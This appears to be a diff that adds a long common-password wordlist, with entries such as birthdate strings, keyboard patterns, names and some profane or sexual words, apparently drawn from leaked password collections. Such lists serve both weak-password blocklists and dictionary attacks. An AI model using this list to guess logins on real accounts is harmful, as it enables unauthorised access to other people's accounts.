+bublik
+britta
+bourque
+boring
+boliva
+bodies
+bluegill
+blondie1
+blingbling
+blastoff
+blade2
+bingos
+billion
+bigpapa
+biggdogg
+big123
+bible
+bianchi
+bethann
+behemoth
+batigol
+bassist
+bareback
+bantam
+balle
+badlands
+backspac
+Babylon5
+aziz
+autocad
+audis4
+auction
+asphalt
+asd12345
+arsehole
+arioch
+argonaut
+arfarf
+antoshka
+antonio1
+anita1
+angie1
+allstars
+alexandria
+ak1234
+adadad
+account1
+abc321
+987412365
+96969696
+968574
+8787
+7979
+748159263
+7171
+555444
+5550666
+524645
+4567890
+3e2w1q
+335533
+326159487
+3214
+31313131
+311288
+31121993
+31121981
+31101979
+310889
+31081980
+310785
+31051980
+31031993
+31031991
+310185
+30121979
+30121978
+301184
+301087
+30101975
+30091980
+30081978
+30071977
+30061994
+30061976
+30051995
+300490
+30041977
+30031994
+30011995
+2cool4u
+29121983
+29121979
+291085
+29101987
+29101979
+29101976
+290981
+29081994
+290786
+290585
+290484
+29031979
+29031976
+28121977
+281184
+28111993
+28111981
+28111978
+28111975
+281086
+280988
+28071974
+2805
+280490
+28041981
+280388
+28031993
+28031978
+280289
+280285
+28021980
+28021973
+28011982
+271184
+270985
+270282
+27021996
+27021976
+261090
+26091994
+260793
+26051976
+26041973
+2604
+26031979
+26021983
+26021975
+2552
+251283
+25121979
+251181
+25111975
+251085
+251084
+25091993
+25091981
+25081981
+250785
+250685
+250589
+250587
+25041976
+25031977
+25021980
+25011976
+25011973
+241285
+241281
+241085
+24091980
+24081991
+240690
+240680
+24061978
+240487
+24041974
+240385
+240383
+23121976
+231182
+23111992
+231090
+2310
+230987
+23091981
+230883
+230882
+230789
+230788
+23071993
+23071983
+230690
+230491
+230485
+23041978
+23041975
+23031995
+230291
+230284
+230185
+23011997
+22121979
+22111981
+221087
+220883
+22081975
+220787
+22061994
+22051994
+22031976
+220188
+22011978
+2201
+212223
+21111980
+21101976
+210988
+21081994
+210591
+210488
+210384
+210290
+210191
+201088
+20101994
+20101977
+20091982
+200882
+20081977
+200789
+20061973
+200590
+200588
+20051993
+20051979
+200488
+200385
+20021977
+1qw23e
+1q2q3q4q5q
+1Monkey
+1Jennife
+19581958
+1937
+1936
+19091975
+19071980
+19061976
+19051994
+19051973
+19041994
+19041982
+19041979
+181289
+181187
+18101980
+180980
+180584
+18051978
+1805
+18031979
+180292
+180285
+1802
+18011979
+18011978
+18011976
+18011974
+17121979
+17111981
+171085
+17081978
+170785
+170692
+17061977
+17061976
+17051994
+1705
+17041982
+17041975
+17031995
+17031982
+17021977
+17011982
+17011975
+161285
+16121981
+16101979
+160985
+16091979
+160687
+16041973
+160395
+160384
+160290
+16021977
+16021976
+16011981
+15963
+151286
+151189
+151185
+15111993
+15111982
+151089
+15101994
+15101974
+15091977
+1508
+150783
+15071976
+15041976
+150290
+15011979
+145145
+140988
+140984
+14091978
+140789
+140781
+14071970
+140687
+140685
+14051978
+140490
+140290
+13691369
+1357911q
+131190
+13101978
+1309
+130893
+13061992
+13061973
+13051976
+13051974
+1303
+1302
+130190
+123qweASD
+12369
+123456zxc
+123456o
+123456h
+123456789abc
+121285
+12121994
+121184
+12101993
+12101978
+12091975
+120890
+120889
+12081976
+120784
+12061981
+120590
+120584
+12031996
+12031994
+12021981
+120000
+1178
+111444
+11121982
+111190
+11111994
+11111977
+1111111111zz
+110989
+110987
+110981
+110980
+11091978
+110893
+110884
+11081977
+110784
+11071995
+11071977
+11071972
+110691
+110683
+11051995
+11051978
+11051976
+110486
+11041981
+110390
+11021977
+101276
+10121996
+10121012
+101190
+101185
+10111977
+100990
+100988
+10081977
+10081975
+100783
+100687
+10051977
+100486
+100480
+10041995
+10041981
+100386
+10021995
+10021978
+10011995
+0wnsyo0
+09121977
+09101989
+090989
+09091993
+09081992
+09081980
+09071994
+09071989
+090587
+09041981
+09041978
+09031976
+09021978
+08091993
+08091983
+08071989
+08061978
+08041978
+08041976
+080386
+08031975
+08021973
+07121991
+07121982
+07121979
+07111993
+07091981
+07021974
+07011993
+07011991
+06111991
+06111980
+06101979
+06071978
+06061979
+06051995
+06041978
+06031977
+0602
+05111980
+05091994
+050888
+05061973
+050583
+05051978
+05021996
+04121991
+04121981
+0412
+04101981
+04101979
+040985
+04091993
+04091980
+04051978
+040486
+04041975
+04031996
+04021993
+03101994
+03101993
+03101978
+03081978
+03071981
+03051974
+03021977
+03011981
+02121978
+02111977
+020890
+02081993
+02071996
+02051995
+020288
+01111976
+01091970
+01081994
+01061974
+01061973
+010490
+01041978
+01031996
+01031995
+01021978
+01021970
+010171
+000000a
+zoezoe
+zepplin
+zaxscdvf
+yxcvbnm
+yogi
+yjdsqujl
+woodward
+wonkette
+windstar
+wife
+wicked1
+whosyourdaddy
+whopper
+whatthefuck
+weirdo
+warcraft1
+wantit
+walkman
+wacker
+vulture
+virtua
+viewer
+vfvfvfvf
+vfnhbwf
+vertical
+verify
+venezia
+vbkbwbz
+vasya
+ukraina
+ubnfhf
+twodogs
+tuborg
+trolls
+trippin
+trashman
+toyota1
+totally
+toobad
+titus
+titan1
+tinatina
+tigger01
+tide
+Thunder
+thinker
+therion
+thebes
+thatcher
+tess
+terrible
+terminus
+telecast
+tele
+taratara
+talent
+tainted
+tables
+system32
+sysadmin
+sylvester
+sydney1
+sydne
+swede
+susann
+surfin
+supper
+stlouis
+steward
+steves
+step
+starks
+squish
+sport1
+spanks
+Sophie
+Soccer1
+snotty
+SMOKEY
+smarties
+slydog
+slayer66
+slap
+skyblue
+skittle
+sitruc
+siberian
+showcase
+shining
+sexslave
+seven77
+sensatio
+seller
+sdsdsd
+scooters
+Scooter
+schoo
+sarahs
+sandeep
+sandals
+samolet
+salamandra
+ruger
+rosette
+rosebud1
+roodypoo
+roderick
+rocketma
+ricochet
+reporter
+relax
+reklama
+reddog1
+rebirth
+razzle
+rave
+rapunzel
+ramair
+rajesh
+ragman
+rafae
+qwertyasdfgh
+qwerty22
+Qwerty12
+qwertasdfg
+q1q1q1q1
+pusher
+pulamea
+proteus
+priscill
+print
+PORSCHE
+porky
+poppet
+poopy1
+polka
+polinka
+poiupoiu
+plover
+pitt
+piramide
+pine
+pick
+petey
+peterose
+pescator
+pelikan
+parade
+papapapa
+panchito
+paige1
+Packers
+oneshot
+olivetti
+olechka
+odysseus
+numlock
+notredame
+nosferat
+njdevils
+nikitina
+newstyle
+networks
+neogeo
+natalka
+mysterio
+mymoney
+mutabor
+munchie
+mulberry
+muaddib
+mounta1n
+moosey
+moneymoney
+mojomojo
+minister
+minion
+millerli
+michael3
+meyer
+mexic
+Metallic
+memorial
+mclean
+mazinger
+MAVERICK
+matvei
+mathilde
+material
+matches
+match
+marmar
+marma
+marduk
+march13
+mara
+mansur
+mania
+man123
+mamedov
+makarov
+mailmail
+mahalko
+Madison
+lynne
+lucky777
+Lucky1
+lucinda
+loveyou1
+lockheed
+lineman
+lfybkrf
+lfhbyf
+levi
+Letmein
+leralera
+leone
+laxman
+lauras
+lasher
+landscap
+lance1
+lakeview
+kosher
+knowledge
+kingair
+kilgore
+kevins
+kban667
+kalle
+k123456
+justin12
+johnn
+jessie1
+jemoeder
+jaws
+jasper1
+japanes
+janus
+january1
+jamaica1
+jakedog
+jacque
+jackso
+jack123
+izzicam
+itworks
+itachi
+isgreat
+invader
+indica
+income
+imback
+ILOVEYOU
+illegal
+idiom
+ibill123
+hubbard
+hotwheel
+hotcock
+hooters1
+hondo
+hoddle
+hiroshi
+hibernia
+hershey1
+hermit
+herald
+hello2u
+Hello1
+hayes
+haribo
+hansel
+Hamburg
+halflife2
+haley1
+habana
+gunter
+guillaum
+grizli
+grifter
+gravel
+grassy
+grainger
+gjgeufq
+give
+girlfriend
+ginger12
+gibbons
+ghostman
+ghbrjkmyj
+gfhkfvtyn
+gemstone
+garry
+funn
+funguy
+fuck777
+fuck1
+fresca
+freetime
+fnkfynblf
+flyaway
+flossy
+flossie
+feyenoord
+femmes
+felice
+fedcba
+fatpussy
+famili
+excess
+evenflow
+etnies
+erfolg
+erasmus
+elite11
+elissa
+elise
+elena1
+echo45
+easypay
+dwarf
+duranduran
+dune
+dtythf
+DtE4UW
+drinks
+dream1
+dragon88
+dopey
+donny
+dominator
+derrick1
+denisa
+debbie1
+dawggy
+dave123
+darkknight
+cvzefh1gkc
+current
+cuntlick
+cstrike
+cristiano
+crimson1
+creep
+creativ
+coop
+conker
+commodor
+colocolo
+coffin
+coffee1
+cnthdf
+cnfcbr
+cleaning
+cinders
+chrissy1
+chrism
+chocolate1
+chicas
+chewbacca
+chevyman
+cheche
+chatte
+charlie3
+charles2
+catscats
+catlover
+catfish1
+cashman
+casa
+canseco
+canad
+camill
+camaro69
+calvary
+caddis
+cabinet
+bungalow
+bullets
+bugbug
+budda
+buckie
+brutus1
+browneye
+browne
+Brittany
+brianna1
+brian123
+bretagne
+brentfor
+brat
+brasilia
+BRANDY
+brandie
+brabus
+booby
+boggle
+blueline
+blue45
+blue33
+Blink182
+bling
+blaster1
+Billy
+billing
+biggin
+bigdogg
+bigdave
+bettie
+bereza
+begood
+bear1
+bateman
+bartlett
+Bandit
+baile
+bagger
+badnaamhere
+avgust
+author
+aurelia
+audi100
+asslick
+ashlyn
+ashish
+asecret
+asd1234
+artofwar
+arabic
+angle
+angeleye
+Angel
+andros
+andrej
+anatomy
+amherst
+aman
+aluminum
+alpha12
+allure
+all4u8
+alcat
+airborn
+adonai
+acura1
+acoustic
+aces
+a123321
+9669
+96385274
+951159
+89015173454
+852654
+789123456
+741236
+68camaro
+56835683
+555888
+554455
+5404
+4SNz9g
+4r3e2w1q
+4904s677075
+479373
+4556
+451236
+4510
+4422
+4313
+3663
+3283
+311083
+31101973
+31081995
+3108
+310790
+310586
+31051976
+31031994
+310184
+31011977
+31011974
+30303030
+30121993
+30121991
+30101994
+300zx
+30071993
+300586
+300583
+300487
+30041994
+30011979
+291296
+290989
+290688
+290681
+29061995
+29061994
+290584
+29041978
+29011976
+281283
+28121979
+28091995
+28091978
+280885
+28081983
+28081982
+280686
+280586
+280487
+28041982
+280391
+28021996
+28011975
+271189
+2711
+27101979
+27091982
+27071978
+270684
+270585
+27051972
+270187
+261183
+261083
+26101993
+26071996
+26071977
+260681
+26061976
+26051980
+260390
+260280
+26021980
+2601
+258741
+251280
+25121981
+251182
+251089
+25091979
+25091977
+250790
+25071994
+25071979
+2507
+250686
+250681
+25061976
+25051977
+25041994
+25031996
+24601
+241282
+240985
+240789
+240786
+24071977
+24051994
+24051974
+24041977
+240286
+240183
+24011975
+2332
+2324
+231288
+23121994
+231187
+231186
+23111971
+231082
+23101980
+23091974
+230889
+230792
+230780
+230591
+23051995
+23051979
+23051977
+23051975
+23041979
+23011970
+2301
+222222222
+221289
+221283
+22121995
+22121981
+22111993
+22101982
+22091970
+220886
+220884
+22081993
+220791
+220789
+2207
+220685
+220683
+220677
+220585
+220386
+220385
+22021981
+2112rush
+21121994
+21121982
+21121973
+210987
+21081996
+21081995
+21081975
+210695
+210689
+210589
+210395
+210381
+21031980
+21011994
+201286
+20121978
+201186
+20111996
+200993
+20091977
+200889
+200886
+200784
+20061994
+20041975
+200386
+20031995
+20021974
+20021967
+1bitch
+1934
+19141914
+19121981
+19091994
+19081993
+19071979
+19051979
+1881
+1856
+181186
+181088
+18101981
+18091977
+180790
+18071977
+180588
+180587
+18051996
+18051977
+18051975
+18051974
+180485
+18041994
+180388
+18021985
+18011994
+171285
+171280
+17111978
+171083
+17101982
+170989
+17071982
+17061978
+170582
+170492
+170488
+170485
+170392
+17011971
+161288
+161287
+161281
+161184
+16111981
+16101993
+16101980
+160989
+16071995
+160682
+16061994
+1606
+16051974
+16031978
+1603
+16021980
+16011992
+159875321
+15101975
+150978
+15091994
+15071995
+150689
+150681
+15061976
+15051975
+150388
+15031996
+15031995
+15021995
+150187
+1488
+141285
+141281
+1412
+14111992
+141088
+141087
+141084
+14101994
+140886
+14081996
+14081976
+14071995
+14071977
+1407
+14061977
+14051980
+140489
+14041994
+140385
+140188
+14011997
+14011978
+13579246
+13421342
+131289
+131287
+13111993
+131089
+13091979
+130886
+130785
+13071977
+130589
+130583
+13031981
+13031977
+13031973
+130287
+13021975
+130188
+1300
+1253
+1248
+123QWE
+123q123q
+1234567z
+12332112
+123123123q
+12251225
+1223334444
+121268
+121178
+121176
+12111978
+121090
+121079
+120987
+120984
+12081975
+12071977
+120687
+120683
+120680
+12061976
+120589
+120490
+12021975
+12011981
+111276
+1111999
+111178
+111089
+111088
+11101993
+11101974
+11091994
+110892
+110890
+11081976
+11081975
+110778
+110586
+110581
+110482
+110391
+110385
+110282
+1090
+101295
+101289
+10121995
+101187
+10111993
+10111979
+10111974
+101087
+101076
+10081974
+10071994
+10071975
+10051981
+10051978
+100490
+10041974
+10021997
+10021975
+09121974
+09111981
+09111972
+090978
+09091974
+09071983
+08091976
+08071994
+08031995
+08031994
+08031971
+08031970
+08021995
+08021978
+071182
+07111991
+07111979
+07101995
+0708
+07061980
+07061976
+07051978
+07041976
+07041975
+07031978
+06111975
+06101980
+060990
+060882
+06081993
+060782
+06071992
+06051993
+06051978
+06041976
+06031974
+06011993
+05111978
+05091993
+05091980
+05081978
+05061978
+050580
+05051976
+050387
+05031974
+05011996
+05011995
+05011977
+04111993
+04091981
+04071996
+04071974
+04041978
+04011993
+0401
+0315
+03121984
+0312
+03111991
+03111978
+03101975
+03101974
+03081994
+03071993
+030688
+03061994
+030478
+03041994
+03041981
+030393
+03011978
+02121994
+020990
+020791
+020686
+0205
+02041995
+020384
+02031994
+02011995
+01121973
+01111992
+010988
+010586
+01041997
+01041968
+010285
+01021973
+010175
+010169
+zxcvb1
+yoohoo
+yingyang
+yeryer
+yannick
+xsw21qaz
+xrp23q
+xboxlive
+wsxqaz
+winky
+whitman
+wetwet
+westie
+wars
+warpten
+warhol
+warhawk
+walden
+w4g8aT
+w12345
+vsijyjr
+voetbal
+vlad1996
+violent
+vbkfyf
+utvols
+twiztid
+tweet
+trustn01
+trust1
+trouts
+trinket
+tooshort
+tookie
+tities
+tiramisu
+tinker1
+Tigger1
+thunders
+thug
+thomas01
+thirdeye
+thebomb
+testme
+terrie
+temporar
+temper
+teetee
+teacup
+tavern
+tashkent
+tarantul
+tamtam
+takehana
+tagheuer
+t34vfrc1991
+szevasz
+Sydney
+svetka
+sunnie
+sunita
+sunderland
+stussy
+stringer
+sting1
+stewie
+stephy
+stargaze
+staple
+stanger
+stamps
+STALKER
+stairway
+spartacu
+sorcerer
+solid
+smarts
+slacking
+skyline1
+skelter
+skeletor
+singing
+shelia
+Sharon
+sharik
+shake
+sexybaby
+sexbomb
+seagate
+scott123
+scotia
+scoob
+schweiz
+saturn5
+satan1
+sassie
+sashok
+sanjuan
+samantha1
+samael
+sable1
+rubbish
+round
+rostik
+rororo
+ronron
+roland1
+rodriguez
+rodrig
+rob123
+rjcnbr
+rhapsody
+reward
+reverend
+reject
+Redskins
+rediska
+reddragon
+random1
+raccoon
+qwaszx123
+queer
+puravida
+pringle
+prefect
+practice
+pounder
+polska1
+police22
+player69
+playbo
+piranha
+pinewood
+pickett
+pi314159
+phuket
+Phantom
+phantasm
+petter
+petersen
+peterbilt
+pervasive
+pepsicola
+pennst
+pedros
+peaches2
+payne
+paula1
+pats
+patricio
+Patricia
+passion1
+parolparol
+parole
+pandora1
+panacea
+palmetto
+Paladin
+oven
+orland
+oriole
+oriental
+order
+oops
+onclick
+omega2
+olivi
+olds442
+oldham
+oktober
+oEMdLG
+odette
+oceans11
+notice
+noonan
+niunia
+nino
+nikolaev
+Nicole1
+nickname
+negrit
+natashka
+naresh
+nada
+mZepAb
+muncher
+multisyn
+muffi
+muenchen
+MOTHER
+mollys
+miss
+minako
+MILLER
+mika
+midwest
+mickie
+metalman
+metal666
+merrick
+maverick1
+matthew2
+master11
+mashina
+maryjo
+mansion
+mansell
+manish
+malvina
+maksik
+makarova
+madsen
+luckyboy
+louis1
+lollol1
+lolit
+lolalola
+lkjh
+littlebi
+lisa69
+linsey
+lingling
+lina
+lemond
+legal
+lbvflbvf
+layla
+laugh
+later
+landry
+krasnodar
+kona
+Knight
+knarf
+kindness
+katina
+kassie
+kallie
+kakaroto
+kakakaka
+kailua
+juventu
+junfan
+juancarlo
+joyce1
+joking
+johnmish
+john1234
+jimmy2
+jigger
+jessika
+jeeves
+jeanie
+japan1
+jamal
+jailbird
+jacks
+ironhead
+internet1
+interex
+indiglo
+images
+ilovepor
+ilovemyself
+ilove69
+Iceman
+hotel6
+hot2trot
+hosted
+horny69
+hondacrx
+holeinon
+hobbs
+hiro
+hellothe
+healey
+harlan
+gunner1
+gunman
+guderian
+griffon
+greek
+grandprix
+goodnews
+Golden
+godwin
+glen
+gillette
+gfhnbpfy
+germaine
+gerardo
+geneviev
+genesi
+gearhead
+gaysex
+GATEWAY
+gamers
+gail
+gaffer
+fyutkjr
+fuckslut
+fuck0ff
+friday1
+freight
+fred12
+forty
+fonzie
+focus1
+fistfuck
+figment
+farter
+epiphone
+enkeli
+enfield
+energize
+empress
+emachine
+Elvira26
+eltoro
+elohim
+eightball
+effect
+eatmee
+Eagles
+dzxtckfd
+dthjxrf
+drinking
+dress
+dreamy
+dorsey
+doremi
+doorman
+dollface
+dimension
+didi
+DHip6A
+deutschland
+detail
+destroye
+democrat
+delores
+deere
+debate
+davidm
+dasdas
+darkwing
+Darkness
+dannon4
+dahc1
+culo
+cuckoo
+crysta
+crybaby
+cristi
+creek
+crazy8
+crappie
+cranky
+Cowboy1
+connection
+conflict
+comicbook
+collette
+cogito
+coast
+coach1
+cnhtktw
+circuit
+cinderella
+chobits
+chisel
+chico1
+chicke
+chevron
+cheval
+Chester
+chatter
+charl
+chanda
+cathy1
+catch
+CASPER
+cashcash
+carioca
+capt
+candi
+callme
+caitlin1
+cachorro
+buster01
+burnley
+burgers
+buldog
+bugsy
+bubu
+bubby
+bronte
+bronco1
+brianjo
+bound
+borg
+bootneck
+bonnie1
+bonito
+bonfire
+bones69
+bonefish
+bogie
+bluenote
+blowjobs
+blanket
+bizarre
+billyb
+bigg
+beluga
+bebop
+beaut
+bear12
+bassfish
+barsuk
+barret
+baldy
+bakers
+bagwell
+BADBOY
+babycakes
+azerty123
+azer
+axel
+auralo
+atdhfkm
+astoria
+astonvilla
+ashman
+asdasdas
+Arthur
+armitage
+ariadne
+architect
+ararat
+apathy
+aol999
+annual
+annemari
+anklet
+anjali
+anime1
+alias
+alfaromeo
+alex22
+ALEX
+Alex
+albert1
+ALBERT
+albania
+alaina
+AL9aGD
+airwalk
+aguilera
+adrianne
+adrenali
+adfadf
+adelphia
+ababab
+a123123
+98989898
+98745632
+976431
+963741
+8balls
+7UFTyX
+789321
+753753
+6262
+567765
+55555a
+555555a
+541233432442
+4wheel
+4free
+47474747
+4637324
+4428
+4000
+3some
+3edcvfr4
+380zliki
+3369
+3344
+3333333333
+31122008
+31121977
+311090
+311079
+31101976
+31081979
+310787
+310386
+310385
+301288
+301188
+30111981
+300888
+30031995
+30031993
+2wsxcde3
+29121980
+29111976
+29111973
+291092
+291080
+290988
+29091972
+29081980
+290787
+29071975
+290689
+29061974
+290488
+29041975
+290383
+281290
+28121976
+28111995
+28071980
+28071975
+280689
+280592
+28051977
+280488
+280390
+280386
+280384
+28031995
+28031994
+28031980
+28031974
+28021977
+280188
+271287
+27121979
+27101978
+27101976
+270991
+270987
+270785
+27051994
+27051979
+270487
+27031994
+27021995
+270189
+270184
+27011979
+27011978
+261187
+26111983
+26111981
+261082
+26091995
+26061979
+26051977
+26041996
+260384
+26031977
+260289
+26011980
+25111993
+251083
+25091994
+25081995
+25071976
+25061995
+250584
+25051978
+250286
+250190
+25011979
+25011975
+243462536
+241289
+24121976
+241190
+241189
+24111995
+241088
+24101977
+240984
+240887
+24081980
+240688
+24051996
+24051971
+24031978
+2402
+231191
+231184
+23111993
+231086
+230680
+23061982
+230578
+23041995
+2304
+230390
+230288
+23021976
+230191
+224422
+221286
+221281
+220692
+220588
+220578
+220484
+22041973
+2204
+220389
+220281
+220184
+22011972
+21125150
+21121976
+211190
+211188
+21111979
+211087
+21101993
+210989
+210981
+21071976
+210688
+21061976
+210483
+210190
+210184
+210183
+2100
+201184
+20101993
+20081979
+20081978
+20071975
+200690
+200586
+20051995
+200489
+200484
+20041996
+20041994
+20031975
+20031970
+200285
+20011978
+20011972
+1George
+19844891
+19121995
+19101980
+19091979
+19081979
+19071996
+19071993
+19061995
+18121972
+18111995
+181090
+18091980
+18091972
+180886
+18081977
+18071976
+180688
+180686
+18061972
+180590
+180490
+180293
+180284
+18021972
+180188
+1793
+17761776
+17111991
+17111973
+17101993
+170986
+17091995
+17081973
+17071995
+170683
+17051996
+17051975
+17041995
+17041994
+1704
+17031979
+17031975
+170186
+170183
+169169
+161280
+161179
+161171
+16111975
+16101981
+16091977
+16081975
+1608
+160788
+160786
+160688
+16061977
+160586
+160487
+16031976
+160289
+16011980
+16011973
+151287
+15121975
+151183
+15111974
+151086
+15101996
+1510
+150890
+150888
+150885
+15081995
+150784
+15061977
+15051970
+150489
+15041972
+15021975
+15021974
+150190
+141975
+14121973
+141186
+14111973
+141083
+14091995
+14081994
+140792
+140791
+140680
+14061973
+14051995
+140487
+14021997
+140185
+14011994
+13311331
+132465798
+13121978
+131189
+130991
+130984
+130889
+130780
+13041993
+1304
+130386
+13031976
+13021979
+130191
+1289
+1286
+128128
+1243
+123666
+1234qwerty
+12345i
+123456j
+123456789w
+123456789qaz
+12344321q
+123333
+123123qwe
+121272
+121271
+121078
+120893
+12081977
+12061979
+12051979
+12041974
+12041972
+120290
+12021978
+1190
+111282
+11121976
+11121975
+11121314
+1111aaaa
+11111993
+111086
+110985
+110885
+11081979
+110790
+110789
+110782
+110688
+11061982
+11061976
+110489
+11041976
+110388
+110383
+1099
+1050
+103177
+102102
+10121978
+101083
+100887
+100786
+100785
+10071995
+100688
+100685
+100680
+100587
+10051994
+100484
+100476
+10031971
+100187
+10011997
+10011979
+0918
+09121993
+09101993
+09101983
+09091976
+09061973
+09041979
+09021976
+0812
+08111992
+08101981
+08101977
+08091980
+080884
+08071995
+08071978
+08051993
+08051971
+08041983
+08031981
+08021994
+08011982
+071289
+07121994
+0712
+07101978
+070988
+07081977
+070809
+070783
+070584
+07041973
+07031993
+07031979
+07021995
+07021994
+061288
+06121979
+06111981
+06091993
+06071975
+06051977
+06051974
+06041979
+06031991
+06031975
+06021975
+051190
+05111979
+05091978
+05081975
+050588
+05051996
+0505
+05031996
+05021994
+05021976
+04111981
+04081979
+04071980
+04061977
+040588
+04051994
+04051973
+040484
+04021979
+031286
+03121994
+03121978
+03111981
+03101977
+03091992
+030584
+03041995
+03011982
+02121975
+021089
+02051992
+020284
+0187
+01121976
+01091982
+010878
+01051978
+01041974
+010384
+01032000
+01031974
+01031972
+01021977
+010189
+010186
+010174
+010160
+007007007
+00112233
+000006
+zxcvbn1
+zorglub
+zamboni
+yuiop
+yendor
+yasmine
+yardbird
+xNgWoj
+wowser
+woogie
+Wizard
+winston2
+windex
+winchester
+winamp
+wilso
+willow1
+whatisit
+westgate
+wesson
+weedman
+webb
+watermel
+waterfall
+water123
+warfare
+walley
+walker1
+walk
+vjhrjdrf
+victor1
+vfiekz
+vfhvtkfl
+vfhrbp
+verity
+varsity
+vander
+vampyre
+utility
+underworld
+tZPVaw
+TYvuGQ
+twingo
+trustnoone
+truckers
+trina
+tremere
+treacle
+trashy
+toughguy
+tough
+toolshed
+tobago
+tippy1
+tightass
+tigerlil
+theraven
+theman1
+texas2
+testes
+terrace
+teri
+terence
+temp1234
+teddyb
+tease
+tahoe1
+t123456
+sylvania
+sycamore
+swindon
+superdup
+sunsun
+SUMMER
+stump
+strings
+strategy
+stomper
+stepanov
+steady
+Starwars
+startac
+[start]
+starla
+squishy
+spandex
+sound1
+soraya
+solosolo
+soccer15
+soccer14
+Slayer
+slammed
+sistema
+single1
+silicone
+shorts
+shocking
+shizzle
+ship
+shaw
+shadow69
+shadow13
+sexboy
+sex6969
+serebro
+seattle1
+Scott1
+schwanz
+schlong
+sc00ter
+satanic
+santo
+samsara
+sameer
+salvation
+sallie
+salamand
+sabotage
+Sabine
+roxie
+rouge
+rodion
+Rocks
+rocheste
+robby
+rfpfynbg
+rfnthbyrf
+rfgbnfy
+retep
+region
+redtruck
+ready1
+razdvatri
+ravage
+ratchet
+rahasia
+r12345
+qwer4321
+qpwoeiruty
+qazxswed
+q8zo8wzq
+pussyeater
+purgen
+purchase
+proverbs
+problems
+problem
+princeton
+primrose
+primo
+ppspankp
+popular
+pootie
+polkmn
+pokey1
+pogo
+plant
+pkxe62
+pirata
+pioneer1
+phipsi
+petra1
+perico
+pepper12
+pedro1
+pawpaw
+Patrick1
+pato
+patit
+pamela1
+ostrich
+osborne
+orlando1
+one
+nyknicks
+nounou
+northsta
+nokia3310
+nodrog
+neuken
+nelly
+natash
+natas
+nananana
+nagrom
+nafets
+mustangg
+multimedia
+mullins
+morrisse
+morkovka
+MORGAN
+montauk
+monica2
+moneyy
+moneymaker
+moneybag
+mobil
+mitsubishi
+milagro
+miko
+mikaela
+Midnight
+memyself
+memento
+mellons
+mclane
+mccabe
+matthew7
+mark22
+marisha
+marimba
+maricon
+marbella
+manitou
+mambo
+malishka
+maldini
+makemone
+mack10
+macho
+lover69
+lovepussy
+loveme2
+loveme1
+love23
+love13
+loredana
+longbeac
+LONDON
+lollo
+lol12
+logical
+location
+lizaveta
+limerick
+letitrid
+lesbo
+leo123
+lenalena
+lebron
+lawdog
+laughter
+latvia
+lanman
+landlord
+lana
+l2g7k3
+kusanagi
+KswbDU
+konfetka
+kohler
+kitty2
+kirill123
+kingsley
+king123
+kidd
+kevlar
+kellys
+kbytqrf
+kaya
+katharin
+katenok
+kardon
+kaneda
+kamil
+kamehame
+JUSTIN
+junction
+juarez
+Joshua1
+JOSEPH
+jonathan1
+joints
+joachim
+jledfyxbr
+jana
+jake12
+jackson2
+jacki
+iwantin
+ismael
+interests
+inches
+ilona
+ihateu
+Hunter1
+human
+HR3Ytm
+hottie1
+HOTDOG
+homebase
+hollydog
+hernandez
+hereford
+henderso
+hemicuda
+helpme1
+helloyou
+hellion
+halfpint
+haha123
+guns
+gump
+guitarra
+Guillaum
+grimlock
+green12
+grant1
+gordon1
+gonefish
+golfing1
+godofwar
+glamur
+gifted
+gibbon
+ghbdtnghbdtn
+ghbdtnbrb
+gfhreh
+gfhfif
+getalife
+gerhardt
+geraldin
+georgi
+George1
+Gemini
+ganesha
+gaga
+gaetano
+futura
+fun123
+frenzy
+fredderf
+fredd
+frantic
+fordman
+fordford
+foolio
+flyhigh
+flogger
+finalfan
+fidelis
+fermat
+fellowes
+favre4
+favour
+fartripper
+fartfart
+Fabienn
+explode
+eWtosi
+etoile
+eros
+eric1
+elnino
+edinburg
+eater
+dryden
+dron
+dragon22
+dothedew
+doraemon
+DoqVQ3
+dobson
+divx
+division
+discreet
+disco1
+diogenes
+dimarik
+dick69
+denden
+deimos
+DEBBIE
+deadeye
+deaddead
+davida
+dalila
+daddy123
+cuthbert
+cummings
+croatia
+crewcom
+crabby
+coopers
+conan1
+COMPAQ
+colette
+coconuts
+cnjvfnjkju
+Claudia
+ckfdbr
+cheeta
+checks
+CHARLES
+characte
+char
+champagne
+cfhfnjd
+cerfcerf
+carmex
+carmelo
+carcass
+capitol
+candid
+camara
+calcio
+cadence
+cabrio
+buzzsaw
+buttocks
+bulldog2
+buddy12
+bubber
+bubbadog
+brayden
+bosworth
+bored
+booties
+bolivar
+bocephus
+bobbo
+bob
+blue21
+blondi
+blazin
+bladerunner
+blackrose
+blablabl
+biteme69
+BITEME
+billys
+bigstick
+bigshot
+bigdee
+bianco
+bethan
+bestfriend
+bells
+belarus
+beckett
+bebebe
+beast1
+bayview
+batter
+batman99
+Batman1
+barnett
+banderas
+bandera
+baldrick
+babygurl
+aztec
+August
+atlas1
+asteroid
+asdfjk
+asdewq
+asd123asd
+ARSENAL
+arschloch
+arrow1
+armenia
+arisha
+arena
+angel13
+ANDREA
+andre1
+anasazi
+anamaria
+amormi
+alvarez
+aleksa
+aida
+agustin
+adida
+acosta
+aceracer
+accounts
+accent
+Aaaaaaa1
+aaa340
+8ball
+876543
+8762
+8484
+8181
+7667
+6060
+5437
+475869
+47114711
+44445555
+3stooges
+3girls
+3783
+3366
+3355
+330330
+31101977
+310885
+31081978
+310783
+31051996
+310387
+31031975
+31011995
+31011994
+301286
+301186
+301183
+30111994
+30101977
+300982
+30091974
+300770
+30071976
+300687
+30061977
+300486
+2FcHbG
+29292929
+29101978
+290991
+290990
+29091975
+290789
+29071976
+29051977
+290487
+290483
+29031975
+29011981
+29011978
+281288
+28121978
+281191
+281189
+281182
+281089
+28101978
+280984
+28091980
+28081978
+280788
+28071977
+280688
+28061976
+2806
+28051994
+28041994
+280385
+28021979
+28011979
+28011976
+27121994
+271188
+271180
+27111993
+271092
+27101975
+270888
+270884
+27081994
+270782
+270777
+270690
+270689
+27061996
+27061978
+270583
+27041974
+270389
+270385
+270288
+270284
+27021994
+27021977
+27011975
+261286
+261189
+261181
+26111976
+261081
+26091996
+26091992
+26091974
+260888
+260883
+26081979
+260688
+260587
+2605
+26041981
+26041979
+260386
+260385
+26021994
+26021976
+26011982
+25121978
+251186
+2509
+250577
+250483
+250481
+250385
+250382
+25031995
+25031976
+25021997
+250184
+242526
+241192
+241084
+241078
+240982
+24081977
+240788
+240691
+240682
+240591
+240585
+24051978
+24051976
+240490
+240486
+24041993
+240387
+24011977
+23111975
+23101976
+230990
+230988
+23071976
+23071975
+23071974
+230692
+230685
+230681
+230583
+230391
+230388
+230290
+23011996
+222888
+221186
+221183
+221078
+22101996
+22101972
+220988
+220887
+22081978
+220784
